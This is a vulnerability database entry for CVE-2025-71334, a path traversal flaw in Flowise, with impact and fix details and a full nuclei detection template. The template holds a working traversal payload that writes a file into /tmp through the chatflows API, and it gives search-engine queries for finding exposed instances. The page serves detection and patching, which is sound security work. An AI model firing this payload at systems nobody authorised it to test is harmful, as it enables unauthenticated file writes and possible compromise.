HexBrain

Browse / CVEs / CVE-2025-71334

CVE-2025-71334· flowiseai / flowise· CWE-73

Flowise - Path Traversal

criticalseverity
9.8CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.

Impact

Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.

Fix

Update to version 3.0.6 or later.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains "Flowise"
Send: POST {{BaseURL}}/api/v1/chatflows
Positive when: contains "FILE-STORAGE::" AND status 200

Run it with nuclei: nuclei -id CVE-2025-71334 -u <target>

The full check
id: CVE-2025-71334

info:
  name: Flowise - Path Traversal
  author: theamanrawat
  severity: critical
  description: |
    Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71334
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-71334
    epss-score: 0.0436
    epss-percentile: 0.91324
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
    censys-query: services.http.response.html_title="Flowise"
  tags: cve,cve2025,flowise,lfi,path-traversal,file-write,vkev,intrusive

variables:
  name: "{{randstr}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        part: body
        words:
          - "Flowise"
        case-insensitive: true
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/api/v1/chatflows"

    headers:
      Content-Type: application/json
      x-request-from: internal

    body: |
      {"id":"../../../../../../../../tmp","name":"{{name}}","deployed":false,"isPublic":false,"flowData":"{\"nodes\":[{\"id\":\"a\",\"data\":{\"category\":\"Document Loaders\",\"inputs\":{\"key\":\"data:text/plain;base64,bnVjbGVpLWN2ZS0yMDI1LTcxMzM0,a:{{name}}.txt\"}}}],\"edges\":[],\"viewport\":{\"x\":1,\"y\":1,\"zoom\":1}}","chatbotConfig":null,"apiConfig":null,"analytic":null,"speechToText":null,"type":"CHATFLOW"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "FILE-STORAGE::"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '\\"FILE-STORAGE::\[\\\\\\"(.*?)\\\\\\"\]\\"'

References

Use this check only on systems you are authorised to test. Where the data comes from